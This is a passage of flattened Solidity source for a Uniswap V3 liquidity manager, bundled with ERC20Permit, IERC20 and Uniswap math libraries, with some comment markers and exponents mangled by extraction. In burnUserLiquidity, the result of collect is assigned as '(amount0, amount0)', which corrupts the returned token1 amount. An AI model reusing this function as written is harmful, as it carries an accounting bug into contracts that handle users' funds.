V3 pool /// @param amount0Desired The desired amount of token0 /// @param amount1Desired The desired amount of token1 /// @param baseThreshold The range for upper and lower ticks /// @param tickSpacing The pool tick spacing /// @return tickLower The lower tick of the range /// @return tickUpper The upper tick of the range function getPositionTicks( IUniswapV3Pool pool, uint256 amount0Desired, uint256 amount1Desired, int24 baseThreshold, int24 tickSpacing ) internal view returns (int24 tickLower, int24 tickUpper) { Info memory cache = Info(amount0Desired, amount1Desired, 0, 0, 0, 0, 0); // Get current price and tick from the pool (uint160 sqrtPriceX96, int24 currentTick, , , , , ) = pool.slot0(); //Calc base ticks (cache.tickLower, cache.tickUpper) = getBaseTicks( currentTick, baseThreshold, tickSpacing ); //Calc amounts of token0 and token1 that can be stored in base range (cache.amount0, cache.amount1) = getAmountsForTicks( pool, cache.amount0Desired, cache.amount1Desired, cache.tickLower, cache.tickUpper ); // //Liquidity that can be stored in base range cache.liquidity = getLiquidityForAmounts( pool, cache.amount0, cache.amount1, cache.tickLower, cache.tickUpper ); // //Get imbalanced token bool zeroGreaterOne = amountsDirection( cache.amount0Desired, cache.amount1Desired, cache.amount0, cache.amount1 ); //Calc new tick(upper or lower) for imbalanced token if (zeroGreaterOne) { uint160 nextSqrtPrice0 = SqrtPriceMath .getNextSqrtPriceFromAmount0RoundingUp( sqrtPriceX96, cache.liquidity, cache.amount0Desired, false ); cache.tickUpper = floor( TickMath.getTickAtSqrtRatio(nextSqrtPrice0), tickSpacing ); } else { uint160 nextSqrtPrice1 = SqrtPriceMath .getNextSqrtPriceFromAmount1RoundingDown( sqrtPriceX96, cache.liquidity, cache.amount1Desired, false ); cache.tickLower = floor( TickMath.getTickAtSqrtRatio(nextSqrtPrice1), tickSpacing ); } checkRange(cache.tickLower, cache.tickUpper); /// floor the tick again because one tick is still not valid tick due to + - baseThreshold tickLower = floor(cache.tickLower, tickSpacing); tickUpper = floor(cache.tickUpper, tickSpacing); } /// @dev Gets amounts of token0 and token1 that can be stored in range of upper and lower ticks /// @param pool Uniswap V3 pool /// @param amount0Desired The desired amount of token0 /// @param amount1Desired The desired amount of token1 /// @param _tickLower The lower tick of the range /// @param _tickUpper The upper tick of the range /// @return amount0 amounts of token0 that can be stored in range /// @return amount1 amounts of token1 that can be stored in range function getAmountsForTicks( IUniswapV3Pool pool, uint256 amount0Desired, uint256 amount1Desired, int24 _tickLower, int24 _tickUpper ) internal view returns (uint256 amount0, uint256 amount1) { uint128 liquidity = getLiquidityForAmounts( pool, amount0Desired, amount1Desired, _tickLower, _tickUpper ); (amount0, amount1) = getAmountsForLiquidity( pool, liquidity, _tickLower, _tickUpper ); } /// @dev Common checks for valid tick inputs. /// @param tickLower The lower tick of the range /// @param tickUpper The upper tick of the range function checkRange(int24 tickLower, int24 tickUpper) internal pure { require(tickLower < tickUpper, "TLU"); require(tickLower >= TickMath.MIN_TICK, "TLM"); require(tickUpper <= TickMath.MAX_TICK, "TUM"); } /// @dev Get imbalanced token /// @param amount0Desired The desired amount of token0 /// @param amount1Desired The desired amount of token1 /// @param amount0 Amounts of token0 that can be stored in base range /// @param amount1 Amounts of token1 that can be stored in base range /// @return zeroGreaterOne true if token0 is imbalanced. False if token1 is imbalanced function amountsDirection( uint256 amount0Desired, uint256 amount1Desired, uint256 amount0, uint256 amount1 ) internal pure returns (bool zeroGreaterOne) { zeroGreaterOne = amount0Desired.sub(amount0).mul(amount1Desired) > amount1Desired.sub(amount1).mul(amount0Desired) ? true : false; } } // SPDX-License-Identifier: GPL-2.0-or-later pragma solidity >=0.5.0; import "./SafeCastExtended.sol"; import "./UniswapLiquidityManagement.sol"; import "@uniswap/v3-core/contracts/interfaces/IUniswapV3Pool.sol"; import "@uniswap/v3-core/contracts/libraries/FullMath.sol"; import "@uniswap/v3-core/contracts/libraries/LowGasSafeMath.sol"; /// @title Liquidity and ticks functions /// @notice Provides functions for computing liquidity and ticks for token amounts and prices library UniswapPoolActions { using LowGasSafeMath for uint256; using SafeCastExtended for uint256; using UniswapLiquidityManagement for IUniswapV3Pool; function updatePosition( IUniswapV3Pool pool, int24 tickLower, int24 tickUpper ) internal returns (uint128 liquidity) { (liquidity, , ) = pool.getPositionLiquidity(tickLower, tickUpper); if (liquidity > 0) { pool.burn(tickLower, tickUpper, 0); } } function burnLiquidity( IUniswapV3Pool pool, int24 tickLower, int24 tickUpper, address recipient ) internal returns ( uint256 amount0, uint256 amount1, uint256 fees0, uint256 fees1 ) { (uint128 liquidity, , ) = pool.getPositionLiquidity( tickLower, tickUpper ); if (liquidity > 0) { (amount0, amount1) = pool.burn(tickLower, tickUpper, liquidity); if (amount0 > 0 \|\| amount1 > 0) { (uint256 collect0, uint256 collect1) = pool.collect( recipient, tickLower, tickUpper, type(uint128).max, type(uint128).max ); (fees0, fees1) = (collect0.sub(amount0), collect1.sub(amount1)); } } } function burnUserLiquidity( IUniswapV3Pool pool, int24 tickLower, int24 tickUpper, uint256 userSharePercentage, address recipient ) internal returns (uint256 amount0, uint256 amount1) { (uint128 liquidity, , ) = pool.getPositionLiquidity( tickLower, tickUpper ); uint256 liquidityRemoved = FullMath.mulDiv( uint256(liquidity), userSharePercentage, 1e18 ); (amount0, amount1) = pool.burn( tickLower, tickUpper, liquidityRemoved.toUint128() ); if (amount0 > 0 \|\| amount1 > 0) { (amount0, amount0) = pool.collect( recipient, tickLower, tickUpper, amount0.toUint128(), amount1.toUint128() ); } } function mintLiquidity( IUniswapV3Pool pool, int24 tickLower, int24 tickUpper, uint256 amount0Desired, uint256 amount1Desired ) internal returns (uint256 amount0, uint256 amount1) { uint128 liquidity = pool.getLiquidityForAmounts( amount0Desired, amount1Desired, tickLower, tickUpper ); if (liquidity > 0) { (amount0, amount1) = pool.mint( address(this), tickLower, tickUpper, liquidity, abi.encode(address(this)) ); } } function swapToken( IUniswapV3Pool pool, address recipient, bool zeroForOne, int256 amountSpecified ) internal { (uint160 sqrtPriceX96, , ) = pool.getSqrtRatioX96AndTick(); uint160 exactSqrtPriceImpact = (sqrtPriceX96 * (1e5 / 2)) / 1e6; uint160 sqrtPriceLimitX96 = zeroForOne ? sqrtPriceX96 - exactSqrtPriceImpact : sqrtPriceX96 + exactSqrtPriceImpact; pool.swap( recipient, zeroForOne, amountSpecified, sqrtPriceLimitX96, abi.encode(zeroForOne) ); } function collectPendingFees( IUniswapV3Pool pool, address recipient, int24 tickLower, int24 tickUpper ) internal returns (uint256 collect0, uint256 collect1) { updatePosition(pool, tickLower, tickUpper); (collect0, collect1) = pool.collect( recipient, tickLower, tickUpper, type(uint128).max, type(uint128).max ); } function rerangeLiquidity( IUniswapV3Pool pool, int24 baseThreshold, int24 tickSpacing, uint256 balance0, uint256 balance1 ) internal returns (int24 tickLower, int24 tickUpper) { (tickLower, tickUpper) = pool.getPositionTicks( balance0, balance1, baseThreshold, tickSpacing ); mintLiquidity(pool, tickLower, tickUpper, balance0, balance1); } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.5 <0.8.0; import "../token/ERC20/ERC20.sol"; import "./IERC20Permit.sol"; import "../cryptography/ECDSA.sol"; import "../utils/Counters.sol"; import "./EIP712.sol"; /** * @dev Implementation of the ERC20 Permit extension allowing approvals to be made via signatures, as defined in * https://eips.ethereum.org/EIPS/eip-2612[EIP-2612]. * * Adds the {permit} method, which can be used to change an account's ERC20 allowance (see {IERC20-allowance}) by * presenting a message signed by the account. By not relying on `{IERC20-approve}`, the token holder account doesn't * need to send a transaction, and thus is not required to hold Ether at all. * * _Available since v3.4._ / abstract contract ERC20Permit is ERC20, IERC20Permit, EIP712 { using Counters for Counters.Counter; mapping (address => Counters.Counter) private _nonces; // solhint-disable-next-line var-name-mixedcase bytes32 private immutable _PERMIT_TYPEHASH = keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)"); /* * @dev Initializes the {EIP712} domain separator using the `name` parameter, and setting `version` to `"1"`. * * It's a good idea to use the same `name` that is defined as the ERC20 token name. / constructor(string memory name) EIP712(name, "1") { } /* * @dev See {IERC20Permit-permit}. / function permit(address owner, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s) public virtual override { // solhint-disable-next-line not-rely-on-time require(block.timestamp <= deadline, "ERC20Permit: expired deadline"); bytes32 structHash = keccak256( abi.encode( _PERMIT_TYPEHASH, owner, spender, value, _nonces[owner].current(), deadline ) ); bytes32 hash = _hashTypedDataV4(structHash); address signer = ECDSA.recover(hash, v, r, s); require(signer == owner, "ERC20Permit: invalid signature"); _nonces[owner].increment(); _approve(owner, spender, value); } /* * @dev See {IERC20Permit-nonces}. / function nonces(address owner) public view override returns (uint256) { return _nonces[owner].current(); } /* * @dev See {IERC20Permit-DOMAIN_SEPARATOR}. / // solhint-disable-next-line func-name-mixedcase function DOMAIN_SEPARATOR() external view override returns (bytes32) { return _domainSeparatorV4(); } } // SPDX-License-Identifier: MIT pragma solidity ^0.7.0; /* * @dev Interface of the ERC20 standard as defined in the EIP. / interface IERC20 { /* * @dev Returns the amount of tokens in existence. / function totalSupply() external view returns (uint256); /* * @dev Returns the amount of tokens owned by `account`. / function balanceOf(address account) external view returns (uint256); /* * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. / function transfer(address recipient, uint256 amount) external returns (bool); /* * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. / function allowance(address owner, address spender) external view returns (uint256); /* * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. / function approve(address spender, uint256 amount) external returns (bool); /* * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. / function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /* * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. / event Transfer(address indexed from, address indexed to, uint256 value); /* * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. / event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: GPL-2.0-or-later pragma solidity >=0.5.0; /// @title Math library for computing sqrt prices from ticks and vice versa /// @notice Computes sqrt price for ticks of size 1.0001, i.e. sqrt(1.0001^tick) as fixed point Q64.96 numbers. Supports /// prices between 2-128 and 2128 library TickMath { /// @dev The minimum tick that may be passed to #getSqrtRatioAtTick computed from log base 1.0001 of 2-128 int24 internal constant MIN_TICK = -887272; /// @dev The maximum tick that may be passed to #getSqrtRatioAtTick computed from log base 1.0001 of 2128 int24 internal constant MAX_TICK = -MIN_TICK; /// @dev The minimum value that can be returned from #getSqrtRatioAtTick. Equivalent to getSqrtRatioAtTick(MIN_TICK) uint160 internal constant MIN_SQRT_RATIO = 4295128739; /// @dev The maximum value that can be returned from #getSqrtRatioAtTick. Equivalent to getSqrtRatioAtTick(MAX_TICK) uint160 internal constant MAX_SQRT_RATIO = 1461446703485210103287273052203988822378723970342; /// @notice Calculates sqrt(1.0001^tick) 2^96 /// @dev Throws if \|tick\| > max tick /// @param tick The input tick for the above formula /// @return sqrtPriceX96 A Fixed point Q64.96 number representing the sqrt of the ratio of the two assets (token1/token0) /// at the given tick function getSqrtRatioAtTick(int24 tick) internal pure returns (uint160 sqrtPriceX96) { uint256 absTick = tick < 0 ? uint256(-int256(tick)) : uint256(int256(tick)); require(absTick <= uint256(MAX_TICK), 'T'); uint256 ratio = absTick & 0x1 != 0 ? 0xfffcb933bd6fad37aa2d162d1a594001 : 0x100000000000000000000000000000000; if (absTick & 0x2 != 0) ratio = (ratio * 0xfff97272373d413259a46990580e213a) >> 128; if (absTick & 0x4 != 0) ratio = (ratio * 0xfff2e50f5f656932ef12357cf3c7fdcc) >> 128; if (absTick & 0x8 != 0) ratio = (ratio * 0xffe5caca7e10e4e61c3624eaa0941cd0) >> 128; if (absTick & 0x10 != 0) ratio = (ratio * 0xffcb9843d60f6159c9db58835c926644) >> 128; if (absTick & 0x20 != 0) ratio = (ratio * 0xff973b41fa98c081472e6896dfb254c0) >> 128; if (absTick & 0x40 != 0) ratio = (ratio * 0xff2ea16466c96a3843ec78b326b52861) >> 128; if (absTick & 0x80 != 0) ratio = (ratio * 0xfe5dee046a99a2a811c461f1969c3053) >> 128; if (absTick & 0x100 != 0) ratio = (ratio * 0xfcbe86c7900a88aedcffc83b479aa3a4) >> 128; if (absTick & 0x200 != 0) ratio = (ratio * 0xf987a7253ac413176f2b074cf7815e54) >> 128; if (absTick & 0x400 != 0) ratio = (ratio * 0xf3392b0822b70005940c7a398e4b70f3) >> 128; if (absTick & 0x800 != 0) ratio = (ratio * 0xe7159475a2c29b7443b29c7fa6e889d9) >> 128; if (absTick & 0x1000 != 0) ratio = (ratio * 0xd097f3bdfd2022b8845ad8f792aa5825) >> 128; if (absTick & 0x2000 != 0) ratio = (ratio * 0xa9f746462d870fdf8a65dc1f90e061e5) >> 128; if (absTick & 0x4000 != 0) ratio = (ratio * 0x70d869a156d2a1b890bb3df62baf32f7) >> 128; if (absTick & 0x8000 != 0) ratio = (ratio * 0x31be135f97d08fd981231505542fcfa6) >> 128; if (absTick & 0x10000 != 0) ratio = (ratio * 0x9aa508b5b7a84e1c677de54f3e99bc9) >> 128; if (absTick & 0x20000 != 0) ratio = (ratio * 0x5d6af8dedb81196699c329225ee604) >> 128; if (absTick & 0x40000 != 0) ratio = (ratio * 0x2216e584f5fa1ea926041bedfe98) >> 128; if (absTick & 0x80000 != 0) ratio = (ratio * 0x48a170391f7dc42444e8fa2) >> 128; if (tick > 0) ratio = type(uint256).max / ratio; // this divides by 1<<32 rounding up to go from a Q128.128 to a Q128.96. // we then downcast because we know the result always fits within 160 bits due to our tick input constraint // we round up in the division so getTickAtSqrtRatio of the output price is always consistent sqrtPriceX96 = uint160((ratio >> 32) + (ratio % (1 << 32) == 0 ? 0 : 1)); } /// @notice Calculates the greatest tick value such that getRatioAtTick(tick) <= ratio /// @dev Throws in case sqrtPriceX96 < MIN_SQRT_RATIO, as MIN_SQRT_RATIO is the lowest value getRatioAtTick may /// ever return. /// @param sqrtPriceX96 The sqrt ratio for which to compute the tick as a Q64.96 /// @return tick The greatest tick for which the ratio is less than or equal to the input ratio function getTickAtSqrtRatio(uint160 sqrtPriceX96) internal pure returns (int24 tick) { // second inequality must be < because the price can never reach the price at the max tick require(sqrtPriceX96 >= MIN_SQRT_RATIO && sqrtPriceX96 < MAX_SQRT_RATIO, 'R'); uint256 ratio = uint256(sqrtPriceX96) << 32; uint256 r = ratio; uint256 msb = 0; assembly { let f := shl(7, gt(r, 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF)) msb := or(msb, f) r := shr(f, r) } assembly { let f := shl(6, gt(r, 0xFFFFFFFFFFFFFFFF)) msb := or(msb, f) r := shr(f, r) } assembly { let f := shl(5, gt(r, 0xFFFFFFFF)) msb := or(msb, f) r := shr(f, r) } assembly { let f := shl(4, gt(r, 0xFFFF)) msb := or(msb, f) r := shr(f, r) } assembly { let f := shl(3, gt(r, 0xFF)) msb := or(msb, f) r := shr(f, r) } assembly { let f := shl(2, gt(r, 0xF)) msb := or(msb, f) r := shr(f, r) } assembly { let f := shl(1, gt(r, 0x3)) msb := or(msb, f) r := shr(f, r) } assembly { let f := gt(r, 0x1) msb := or(msb, f) } if (msb >= 128) r = ratio >> (msb - 127); else r = ratio << (127 - msb); int256 log_2 = (int256(msb) - 128) << 64; assembly { r := shr(127, mul(r, r)) let f := shr(128, r) log_2 := or(log_2, shl(63, f)) r := shr(f, r) } assembly { r := shr(127, mul(r, r)) let f := shr(128, r) log_2 := or(log_2, shl(62, f)) r := shr(f, r) } assembly { r := shr(127, mul(r, r)) let f := shr(128, r) log_2 := or(log_2, shl(61, f)) r := shr(f, r) } assembly { r := shr(127, mul(r, r)) let f := shr(128, r) log_2 := or(log_2, shl(60, f)) r := shr(f, r) } assembly { r := shr(127, mul(r, r)) let f := shr(128, r) log_2 := or(log_2, shl(59, f)) r := shr(f, r) } assembly { r := shr(127, mul(r, r)) let f := shr(128, r) log_2 := or(log_2, shl(58, f)) r := shr(f, r) } assembly { r := shr(127, mul(r, r)) let f := shr(128, r) log_2 := or(log_2, shl(57, f)) r := shr(f, r) } assembly { r := shr(127, mul(r, r)) let f := shr(128, r) log_2 := or(log_2, shl(56, f)) r := shr(f, r) } assembly { r := shr(127, mul(r, r)) let f := shr(128, r) log_2 := or(log_2, shl(55, f)) r := shr(f, r) } assembly { r := shr(127, mul(r, r)) let f := shr(128, r) log_2 := or(log_2, shl(54, f)) r := shr(f, r) } assembly { r := shr(127, mul(r, r)) let f := shr(128, r) log_2 := or(log_2, shl(53, f)) r := shr(f, r) } assembly { r := shr(127, mul(r, r)) let f := shr(128, r) log_2 := or(log_2, shl(52, f)) r := shr(f, r) } assembly { r := shr(127, mul(r, r)) let f := shr(128, r) log_2 := or(log_2, shl(51, f)) r := shr(f, r) } assembly { r := shr(127, mul(r, r)) let f := shr(128, r) log_2 := or(log_2, shl(50, f)) } int256 log_sqrt10001 = log_2 * 255738958999603826347141; // 128.128 number int24 tickLow = int24((log_sqrt10001 - 3402992956809132418596140100660247210) >> 128); int24 tickHi = int24((log_sqrt10001 + 291339464771989622907027621153398088495) >> 128); tick = tickLow == tickHi ? tickLow : getSqrtRatioAtTick(tickHi) <= sqrtPriceX96 ? tickHi : tickLow; } } // SPDX-License-Identifier: BUSL-1.1 pragma solidity >=0.5.0; import './LowGasSafeMath.sol'; import './SafeCast.sol'; import './FullMath.sol'; import './UnsafeMath.sol'; import './FixedPoint96.sol'; /// @title Functions based on Q64.96 sqrt price and liquidity /// @notice Contains the math that uses square root of price as a Q64.96 and liquidity to compute deltas library SqrtPriceMath { using LowGasSafeMath for uint256; using SafeCast for uint256; /// @notice Gets the next sqrt price given a delta of token0 /// @dev Always rounds up, because in the exact output case (increasing price) we need to move the price at least /// far enough to get the desired output amount, and in the exact input case (decreasing price) we need to move the /// price less in order to not send too much output. /// The most precise formula for this is liquidity * sqrtPX96 / (liquidity +- amount * sqrtPX96), /// if this is impossible because of overflow, we calculate liquidity / (liquidity / sqrtPX96 +- amount). /// @param sqrtPX96 The starting price, i.e. before accounting for the token0 delta /// @param liquidity The amount of usable liquidity /// @param amount How much of token0 to add or remove from virtual reserves /// @param add Whether to add or remove the amount of token0 /// @return The price after adding or removing amount, depending on add function getNextSqrtPriceFromAmount0RoundingUp( uint160 sqrtPX96, uint128 liquidity, uint256 amount, bool add ) internal pure returns (uint160) { // we short circuit amount == 0 because the result is otherwise not guaranteed to equal the input price if (amount == 0) return sqrtPX96; uint256 numerator1 = uint256(liquidity) << FixedPoint96.RESOLUTION; if (add) { uint256 product; if ((product = amount * sqrtPX96) / amount == sqrtPX96) { uint256 denominator = numerator1 + product; if (denominator >= numerator1) // always fits in 160 bits return uint160(FullMath.mulDivRoundingUp(numerator1, sqrtPX96, denominator)); } return uint160(UnsafeMath.divRoundingUp(numerator1, (numerator1 / sqrtPX96).add(amount))); } else { uint256 product; // if the product overflows, we know the denominator underflows // in addition, we must check that the denominator does not underflow require((product = amount * sqrtPX96) / amount == sqrtPX96 && numerator1 > product); uint256 denominator = numerator1 - product; return FullMath.mulDivRoundingUp(numerator1, sqrtPX96, denominator).toUint160(); } } /// @notice Gets the next sqrt price given a delta of token1 /// @dev Always rounds down, because in the exact output case (decreasing price) we need to move the price at least /// far enough to get the desired output amount, and in the exact input case (increasing price) we need to move the /// price less in order to not send too much output. /// The formula we compute is within <1 wei of the lossless version: sqrtPX96 +- amount / liquidity /// @param sqrtPX96 The starting price, i.e., before accounting for the token1 delta /// @param liquidity The amount of usable liquidity /// @param amount How much of token1 to add, or remove, from virtual reserves /// @param add Whether to add, or remove, the amount of token1 /// @return The price after adding or removing `amount` function getNextSqrtPriceFromAmount1RoundingDown( uint160 sqrtPX96, uint128 liquidity, uint256 amount, bool add ) internal pure returns (uint160) { // if we're adding (subtracting), rounding down requires rounding the quotient down (up) // in both cases, avoid a mulDiv for most inputs if (add) { uint256 quotient = ( amount <= type(uint160).max ? (amount << FixedPoint96.RESOLUTION) / liquidity : FullMath.mulDiv(amount, FixedPoint96.Q96, liquidity) ); return uint256(sqrtPX96).add(quotient).toUint160(); } else { uint256 quotient = ( amount <= type(uint160).max ? UnsafeMath.divRoundingUp(amount << FixedPoint96.RESOLUTION, liquidity) : FullMath.mulDivRoundingUp(amount, FixedPoint96.Q96, liquidity) ); require(sqrtPX96 > quotient); // always fits 160 bits return uint160(sqrtPX96 - quotient); } } /// @notice Gets the next sqrt price given an input amount of token0 or token1 /// @dev Throws if price or liquidity are 0, or if the next price is out of bounds /// @param sqrtPX96 The starting price, i.e., before accounting for the input amount /// @param liquidity The amount of usable liquidity /// @param amountIn How much of token0, or token1, is being swapped in /// @param zeroForOne Whether the amount in is token0 or token1 /// @return sqrtQX96 The price after adding the input amount to token0 or token1 function getNextSqrtPriceFromInput( uint160 sqrtPX96, uint128 liquidity, uint256 amountIn, bool zeroForOne ) internal pure returns (uint160 sqrtQX96) { require(sqrtPX96 > 0); require(liquidity > 0); // round to make sure that we don't pass the target price return zeroForOne ? getNextSqrtPriceFromAmount0RoundingUp(sqrtPX96, liquidity, amountIn, true) : getNextSqrtPriceFromAmount1RoundingDown(sqrtPX96, liquidity, amountIn, true); } /// @notice Gets the next sqrt price given an output amount of token0 or token1 /// @dev Throws if price or liquidity are 0 or the next price is out of bounds /// @param sqrtPX96 The starting price before accounting for the output amount /// @param liquidity The amount of usable liquidity /// @param amountOut How much of token0, or token1, is being swapped out /// @param zeroForOne Whether the amount out is token0 or token1 /// @return sqrtQX96 The price after removing the output amount of token0 or token1 function getNextSqrtPriceFromOutput( uint160 sqrtPX96, uint128 liquidity, uint256 amountOut, bool zeroForOne ) internal pure returns (uint160 sqrtQX96) { require(sqrtPX96 > 0); require(liquidity > 0); // round to make sure that we pass the target price return zeroForOne ? getNextSqrtPriceFromAmount1RoundingDown(sqrtPX96, liquidity, amountOut, false) : getNextSqrtPriceFromAmount0RoundingUp(sqrtPX96, liquidity, amountOut, false); } /// @notice Gets the amount0 delta between two prices /// @dev Calculates liquidity / sqrt(lower) - liquidity / sqrt(upper), /// i.e. liquidity * (sqrt(upper) - sqrt(lower)) / (sqrt(upper) * sqrt(lower)) /// @param sqrtRatioAX96 A sqrt price /// @param sqrtRatioBX96 Another sqrt price /// @param liquidity The amount of usable liquidity /// @param roundUp Whether to round the amount up or down /// @return amount0 Amount of token0 required to cover a position of size liquidity between the two passed prices function getAmount0Delta( uint160 sqrtRatioAX96, uint160 sqrtRatioBX96, uint128 liquidity, bool roundUp ) internal pure returns (uint256 amount0) { if (sqrtRatioAX96 > sqrtRatioBX96) (sqrtRatioAX96, sqrtRatioBX96) = (sqrtRatioBX96, sqrtRatioAX96); uint256 numerator1 = uint256(liquidity) << FixedPoint96.RESOLUTION; uint256 numerator2 = sqrtRatioBX96 - sqrtRatioAX96; require(sqrtRatioAX96 > 0); return roundUp ? UnsafeMath.divRoundingUp( FullMath.mulDivRoundingUp(numerator1, numerator2, sqrtRatioBX96), sqrtRatioAX96 ) : FullMath.mulDiv(numerator1, numerator2, sqrtRatioBX96) / sqrtRatioAX96; } /// @notice Gets the amount1 delta between two prices /// @dev Calculates liquidity * (sqrt(upper) - sqrt(lower)) /// @param sqrtRatioAX96 A sqrt price /// @param sqrtRatioBX96 Another sqrt price /// @param liquidity The amount of usable liquidity /// @param roundUp Whether to round the amount up, or down /// @return amount1 Amount of token1 required to cover a position of size liquidity between the two passed prices function getAmount1Delta( uint160 sqrtRatioAX96, uint160 sqrtRatioBX96, uint128 liquidity, bool roundUp ) internal pure returns (uint256 amount1) { if (sqrtRatioAX96 > sqrtRatioBX96) (sqrtRatioAX96, sqrtRatioBX96) = (sqrtRatioBX96, sqrtRatioAX96); return roundUp ? FullMath.mulDivRoundingUp(liquidity, sqrtRatioBX96 - sqrtRatioAX96, FixedPoint96.Q96) : FullMath.mulDiv(liquidity, sqrtRatioBX96 - sqrtRatioAX96, FixedPoint96.Q96); } /// @notice Helper that gets signed token0 delta /// @param sqrtRatioAX96 A sqrt price /// @param sqrtRatioBX96 Another sqrt price /// @param liquidity The change in liquidity for which to compute the amount0 delta /// @return amount0 Amount of token0 corresponding to the passed liquidityDelta between the two prices function getAmount0Delta( uint160 sqrtRatioAX96, uint160 sqrtRatioBX96, int128 liquidity ) internal pure returns (int256 amount0) { return liquidity < 0 ? -getAmount0Delta(sqrtRatioAX96, sqrtRatioBX96, uint128(-liquidity), false).toInt256() : getAmount0Delta(sqrtRatioAX96, sqrtRatioBX96, uint128(liquidity), true).toInt256(); } /// @notice Helper that gets signed token1 delta /// @param sqrtRatioAX96 A sqrt price /// @param sqrtRatioBX96 Another sqrt price /// @param liquidity The change in liquidity for which to compute the amount1 delta /// @return amount1 Amount of token1 corresponding to the passed liquidityDelta between the two prices function getAmount1Delta( uint160 sqrtRatioAX96, uint160 sqrtRatioBX96, int128 liquidity ) internal pure returns (int256 amount1) { return liquidity < 0 ? -getAmount1Delta(sqrtRatioAX96, sqrtRatioBX96, uint128(-liquidity), false).toInt256() : getAmount1Delta(sqrtRatioAX96, sqrtRatioBX96, uint128(liquidity), true).toInt256(); } } // SPDX-License-Identifier: GPL-2.0-or-later pragma solidity >=0.5.0; library PositionKey { /// @dev Returns the key of the position in the core library function compute( address owner, int24 tickLower, int24 tickUpper ) internal pure returns (bytes32) { return keccak256(abi.encodePacked(owner, tickLower, tickUpper)); } } // SPDX-License-Identifier: GPL-2.0-or-later pragma solidity >=0.5.0; import '@uniswap/v3-core/contracts/libraries/FullMath.sol'; import '@uniswap/v3-core/contracts/libraries/FixedPoint96.sol'; /// @title Liquidity amount functions /// @notice Provides functions for computing liquidity amounts from token amounts and prices library LiquidityAmounts { /// @notice Downcasts uint256 to uint128 /// @param x The uint258 to be downcasted /// @return y The passed value, downcasted to uint128 function toUint128(uint256 x) private pure returns (uint128 y) { require((y = uint128(x)) == x); } /// @notice Computes the amount of liquidity received for a given amount of token0 and price range /// @dev Calculates amount0 * (sqrt(upper) * sqrt(lower)) / (sqrt(upper) - sqrt(lower)) /// @param sqrtRatioAX96 A sqrt price representing the first tick boundary /// @param sqrtRatioBX96 A sqrt price representing the second tick boundary /// @param amount0 The amount0 being sent in /// @return liquidity The amount of returned liquidity function getLiquidityForAmount0( uint160 sqrtRatioAX96, uint160 sqrtRatioBX96, uint256 amount0 ) internal pure returns (uint128 liquidity) { if (sqrtRatioAX96 > sqrtRatioBX96) (sqrtRatioAX96, sqrtRatioBX96) = (sqrtRatioBX96, sqrtRatioAX96); uint256 intermediate = FullMath.mulDiv(sqrtRatioAX96, sqrtRatioBX96, FixedPoint96.Q96); return toUint128(FullMath.mulDiv(amount0, intermediate, sqrtRatioBX96 - sqrtRatioAX96)); } /// @notice Computes the amount of liquidity received for a given amount of token1 and price range /// @dev Calculates amount1 / (sqrt(upper) - sqrt(lower)). /// @param sqrtRatioAX96 A sqrt price representing the first tick boundary /// @param sqrtRatioBX96 A sqrt price representing the second tick boundary /// @param amount1 The amount1 being sent in /// @return liquidity The amount of returned liquidity function getLiquidityForAmount1( uint160 sqrtRatioAX96, uint160 sqrtRatioBX96, uint256 amount1 ) internal pure returns (uint128 liquidity) { if (sqrtRatioAX96 > sqrtRatioBX96) (sqrtRatioAX96, sqrtRatioBX96) = (sqrtRatioBX96, sqrtRatioAX96); return toUint128(FullMath.mulDiv(amount1, FixedPoint96.Q96, sqrtRatioBX96 - sqrtRatioAX96)); } /// @notice Computes the maximum amount of liquidity received for a given amount of token0, token1, the current /// pool prices and the prices at the tick boundaries /// @param sqrtRatioX96 A sqrt price representing the current pool prices /// @param sqrtRatioAX96 A sqrt price representing the first tick boundary /// @param sqrtRatioBX96 A sqrt price representing the second tick boundary /// @param amount0 The amount of token0 being sent in /// @param amount1 The amount of token1 being sent in /// @return liquidity The maximum amount of liquidity received function getLiquidityForAmounts( uint160 sqrtRatioX96, uint160 sqrtRatioAX96, uint160 sqrtRatioBX96, uint256 amount0, uint256 amount1 ) internal pure returns (uint128 liquidity) { if (sqrtRatioAX96 > sqrtRatioBX96) (sqrtRatioAX96, sqrtRatioBX96) = (sqrtRatioBX96, sqrtRatioAX96); if (sqrtRatioX96 <= sqrtRatioAX96) { liquidity = getLiquidityForAmount0(sqrtRatioAX96, sqrtRatioBX96, amount0); } else if (sqrtRatioX96 < sqrtRatioBX96) { uint128 liquidity0 = getLiquidityForAmount0(sqrtRatioX96, sqrtRatioBX96, amount0); uint128 liquidity1 = getLiquidityForAmount1(sqrtRatioAX96, sqrtRatioX96, amount1); liquidity = liquidity0 < liquidity1 ? liquidity0 : liquidity1; } else { liquidity = getLiquidityForAmount1(sqrtRatioAX96, sqrtRatioBX96, amount1); } } /// @notice Computes the amount of token0 for a given amount of liquidity and a price range /// @param sqrtRatioAX96 A sqrt price representing the first tick boundary /// @param sqrtRatioBX96 A sqrt price representing the second tick boundary /// @param liquidity The liquidity being valued /// @return amount0 The amount of token0 function getAmount0ForLiquidity( uint160 sqrtRatioAX96, uint160 sqrtRatioBX96, uint128 liquidity ) internal pure returns (uint256 amount0) { if (sqrtRatioAX96 > sqrtRatioBX96) (sqrtRatioAX96, sqrtRatioBX96) = 